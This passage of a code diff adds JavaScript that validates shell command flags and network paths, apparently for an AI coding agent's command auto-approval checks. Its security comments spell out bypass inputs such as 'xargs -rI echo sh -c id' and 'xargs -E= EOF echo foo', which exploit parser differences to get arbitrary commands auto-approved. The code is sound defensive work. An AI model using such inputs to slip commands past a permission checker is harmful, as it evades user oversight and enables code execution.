+ if (/@SSL@\d+/i.test(pathOrCommand) || /@\d+@SSL/i.test(pathOrCommand)) {
1533
+ return true;
1534
+ }
1535
+ // 6. Check for DavWWWRoot marker (Windows WebDAV redirector)
1536
+ // Example: \\server\DavWWWRoot\path
1537
+ if (/DavWWWRoot/i.test(pathOrCommand)) {
1538
+ return true;
1539
+ }
1540
+ // 7. Check for UNC paths with IPv4 addresses (explicit check for defense-in-depth)
1541
+ // Examples: \\192.168.1.1\share, \\10.0.0.1\path
1542
+ if (/^\\\\(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand) ||
1543
+ /^\/\/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})[\\/]/.test(pathOrCommand)) {
1544
+ return true;
1545
+ }
1546
+ // 8. Check for UNC paths with bracketed IPv6 addresses (explicit check for defense-in-depth)
1547
+ // Examples: \\[2001:db8::1]\share, \\[::1]\path
1548
+ if (/^\\\\(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand) ||
1549
+ /^\/\/(\[[\da-fA-F:]+\])[\\/]/.test(pathOrCommand)) {
1550
+ return true;
1551
+ }
1552
+ return false;
1553
+ }
1554
+ // ---------------------------------------------------------------------------
1555
+ // Flag validation utilities
1556
+ // ---------------------------------------------------------------------------
1557
+ // Regex pattern to match valid flag names (letters, digits, underscores, hyphens)
1558
+ export const FLAG_PATTERN = /^-[a-zA-Z0-9_-]/;
1559
+ /**
1560
+ * Validates flag arguments based on their expected type
1561
+ */
1562
+ export function validateFlagArgument(value, argType) {
1563
+ switch (argType) {
1564
+ case 'none':
1565
+ return false; // Should not have been called for 'none' type
1566
+ case 'number':
1567
+ return /^\d+$/.test(value);
1568
+ case 'string':
1569
+ return true; // Any string including empty is valid
1570
+ case 'char':
1571
+ return value.length === 1;
1572
+ case '{}':
1573
+ return value === '{}';
1574
+ case 'EOF':
1575
+ return value === 'EOF';
1576
+ default:
1577
+ return false;
1578
+ }
1579
+ }
1580
+ /**
1581
+ * Validates the flags/arguments portion of a tokenized command against a config.
1582
+ * This is the flag-walking loop extracted from BashTool's isCommandSafeViaFlagParsing.
1583
+ *
1584
+ * @param tokens - Pre-tokenized args (from bash shell-quote or PowerShell AST)
1585
+ * @param startIndex - Where to start validating (after command tokens)
1586
+ * @param config - The safe flags config
1587
+ * @param options.commandName - For command-specific handling (git numeric shorthand, grep/rg attached numeric)
1588
+ * @param options.rawCommand - For additionalCommandIsDangerousCallback
1589
+ * @param options.xargsTargetCommands - If provided, enables xargs-style target command detection
1590
+ * @returns true if all flags are valid, false otherwise
1591
+ */
1592
+ export function validateFlags(tokens, startIndex, config, options) {
1593
+ let i = startIndex;
1594
+ while (i < tokens.length) {
1595
+ let token = tokens[i];
1596
+ if (!token) {
1597
+ i++;
1598
+ continue;
1599
+ }
1600
+ // Special handling for xargs: once we find the target command, stop validating flags
1601
+ if (options?.xargsTargetCommands &&
1602
+ options.commandName === 'xargs' &&
1603
+ (!token.startsWith('-') || token === '--')) {
1604
+ if (token === '--' && i + 1 < tokens.length) {
1605
+ i++;
1606
+ token = tokens[i];
1607
+ }
1608
+ if (token && options.xargsTargetCommands.includes(token)) {
1609
+ break;
1610
+ }
1611
+ return false;
1612
+ }
1613
+ if (token === '--') {
1614
+ // SECURITY: Only break if the tool respects POSIX `--` (default: true).
1615
+ // Tools like pyright don't respect `--` — they treat it as a file path
1616
+ // and continue processing subsequent tokens as flags. Breaking here
1617
+ // would let `pyright -- --createstub os` auto-approve a file-write flag.
1618
+ if (config.respectsDoubleDash !== false) {
1619
+ i++;
1620
+ break; // Everything after -- is arguments
1621
+ }
1622
+ // Tool doesn't respect --: treat as positional arg, keep validating
1623
+ i++;
1624
+ continue;
1625
+ }
1626
+ if (token.startsWith('-') && token.length > 1 && FLAG_PATTERN.test(token)) {
1627
+ // Handle --flag=value format
1628
+ // SECURITY: Track whether the token CONTAINS `=` separately from
1629
+ // whether the value is non-empty. `-E=` has `hasEquals=true` but
1630
+ // `inlineValue=''` (falsy). Without `hasEquals`, the falsy check at
1631
+ // line ~1813 would fall through to "consume next token" — but GNU
1632
+ // getopt for short options with mandatory arg sees `-E=` as `-E` with
1633
+ // ATTACHED arg `=` (it doesn't strip `=` for short options). Parser
1634
+ // differential: validator advances 2 tokens, GNU advances 1.
1635
+ //
1636
+ // Attack: `xargs -E= EOF echo foo` (zero permissions)
1637
+ // Validator: inlineValue='' falsy → consumes EOF as -E arg → i+=2 →
1638
+ // echo ∈ SAFE_TARGET_COMMANDS_FOR_XARGS → break → AUTO-ALLOWED
1639
+ // GNU xargs: -E attached arg=`=` → EOF is TARGET COMMAND → CODE EXEC
1640
+ //
1641
+ // Fix: when hasEquals is true, use inlineValue (even if empty) as the
1642
+ // provided arg. validateFlagArgument('', 'EOF') → false → rejected.
1643
+ // This is correct for all arg types: the user explicitly typed `=`,
1644
+ // indicating they provided a value (empty). Don't consume next token.
1645
+ const hasEquals = token.includes('=');
1646
+ const [flag, ...valueParts] = token.split('=');
1647
+ const inlineValue = valueParts.join('=');
1648
+ if (!flag) {
1649
+ return false;
1650
+ }
1651
+ const flagArgType = config.safeFlags[flag];
1652
+ if (!flagArgType) {
1653
+ // Special case: git commands support -<number> as shorthand for -n <number>
1654
+ if (options?.commandName === 'git' && flag.match(/^-\d+$/)) {
1655
+ // This is equivalent to -n flag which is safe for git log/diff/show
1656
+ i++;
1657
+ continue;
1658
+ }
1659
+ // Handle flags with directly attached numeric arguments (e.g., -A20, -B10)
1660
+ // Only apply this special handling to grep and rg commands
1661
+ if ((options?.commandName === 'grep' || options?.commandName === 'rg') &&
1662
+ flag.startsWith('-') &&
1663
+ !flag.startsWith('--') &&
1664
+ flag.length > 2) {
1665
+ const potentialFlag = flag.substring(0, 2); // e.g., '-A' from '-A20'
1666
+ const potentialValue = flag.substring(2); // e.g., '20' from '-A20'
1667
+ if (config.safeFlags[potentialFlag] && /^\d+$/.test(potentialValue)) {
1668
+ // This is a flag with attached numeric argument
1669
+ const flagArgType = config.safeFlags[potentialFlag];
1670
+ if (flagArgType === 'number' || flagArgType === 'string') {
1671
+ // Validate the numeric value
1672
+ if (validateFlagArgument(potentialValue, flagArgType)) {
1673
+ i++;
1674
+ continue;
1675
+ }
1676
+ else {
1677
+ return false; // Invalid attached value
1678
+ }
1679
+ }
1680
+ }
1681
+ }
1682
+ // Handle combined single-letter flags like -nr
1683
+ // SECURITY: We must NOT allow any bundled flag that takes an argument.
1684
+ // GNU getopt bundling semantics: when an arg-taking option appears LAST
1685
+ // in a bundle with no trailing chars, the NEXT argv element is consumed
1686
+ // as its argument. So `xargs -rI echo sh -c id` is parsed by xargs as:
1687
+ // -r (no-arg) + -I with replace-str=`echo`, target=`sh -c id`
1688
+ // Our naive handler previously only checked EXISTENCE in safeFlags (both
1689
+ // `-r: 'none'` and `-I: '{}'` are truthy), then `i++` consumed ONE token.
1690
+ // This created a parser differential: our validator thought `echo` was
1691
+ // the xargs target (in SAFE_TARGET_COMMANDS_FOR_XARGS → break), but
1692
+ // xargs ran `sh -c id`. ARBITRARY RCE with only Bash(echo:*) or less.
1693
+ //
1694
+ // Fix: require ALL bundled flags to have arg type 'none'. If any bundled
1695
+ // flag requires an argument (non-'none' type), reject the whole bundle.
1696
+ // This is conservative — it blocks `-rI` (xargs) entirely, but that's
1697
+ // the safe direction. Users who need `-I` can use it unbundled: `-r -I {}`.
1698
+ if (flag.startsWith('-') && !flag.startsWith('--') && flag.length > 2) {
1699
+ for (let j = 1; j < flag.length; j++) {
1700
+ const singleFlag = '-' + flag[j];
1701
+ const flagType = config.safeFlags[singleFlag];
1702
+ if (!flagType) {
1703
+ return false; // One of the combined flags is not safe
1704
+ }
1705
+ // SECURITY: Bundled flags must be no-arg type. An arg-taking flag
1706
+ // in a bundle consumes the NEXT token in GNU getopt, which our
1707
+ // handler doesn't model. Reject to avoid parser differential.
1708
+ if (flagType !== 'none') {
1709
+ return false; // Arg-taking flag in a bundle — cannot safely validate
1710
+ }
1711
+ }
1712
+ i++;
1713
+ continue;
1714
+ }
1715
+ else {
1716
+ return false; // Unknown flag
1717
+ }
1718
+ }
1719
+ // Validate flag arguments
1720
+ if (flagArgType === 'none') {
1721
+ // SECURITY: hasEquals covers `-FLAG=` (empty inline). Without it,
1722
+ // `-FLAG=` with 'none' type would pass (inlineValue='' is falsy).
1723
+ if (hasEquals) {
1724
+ return false; // Flag should not have a value
1725
+ }
1726
+ i++;
1727
+ }
1728
+ else {
1729
+ let argValue;
1730
+ // SECURITY: Use hasEquals (not inlineValue truthiness). `-E=` must
1731
+ // NOT consume next token — the user explicitly provided empty value.
1732
+ if (hasEquals) {
1733
+ argValue = inlineValue;
1734
+ i++;
1735
+ }
1736
+ else {
1737
+ // Check if next token is the argument
1738
+ if (i + 1 >= tokens.length ||
1739
+ (tokens[i + 1] &&
1740
+ tokens[i + 1].startsWith('-') &&
1741
+ tokens[i + 1].length > 1 &&
1742
+ FLAG_PATTERN.test(tokens[i + 1]))) {
1743
+ return false; // Missing required argument
1744
+ }
1745
+ argValue = tokens[i + 1] || '';
1746
+ i += 2;
1747
+ }
1748
+ // Defense-in-depth: For string arguments, reject values that start with '-'
1749
+ // This prevents type confusion attacks where a flag marked as 'string'
1750
+ // but actually takes no arguments could be used to inject dangerous flags
1751
+ // Exception: git's --sort flag can have values starting with '-' for reverse sorting
1752
+ if (flagArgType === 'string' && argValue.startsWith('-')) {
1753
+ // Special case: git's --sort flag allows - prefix for reverse sorting
1754
+ if (flag === '--sort' &&
1755
+ options?.commandName === 'git' &&
1756
+ argValue.match(/^-[a-zA-Z]/)) {
1757
+ // This looks like a reverse sort (e.g., -refname, -version:refname)
1758
+ // Allow it if the rest looks like a valid sort key
1759
+ }
1760
+ else {
1761
+ return false;
1762
+ }
1763
+ }
1764
+ // Validate argument based on type
1765
+ if (!validateFlagArgument(argValue, flagArgType)) {
1766
+ return false;
1767
+ }
1768
+ }
1769
+ }
1770
+ else {
1771
+ // Non-flag argument (like revision specs, file paths, etc.) - this is allowed
1772
+ i++;
1773
+ }
1774
+ }
1775
+ return true;
1776
+ }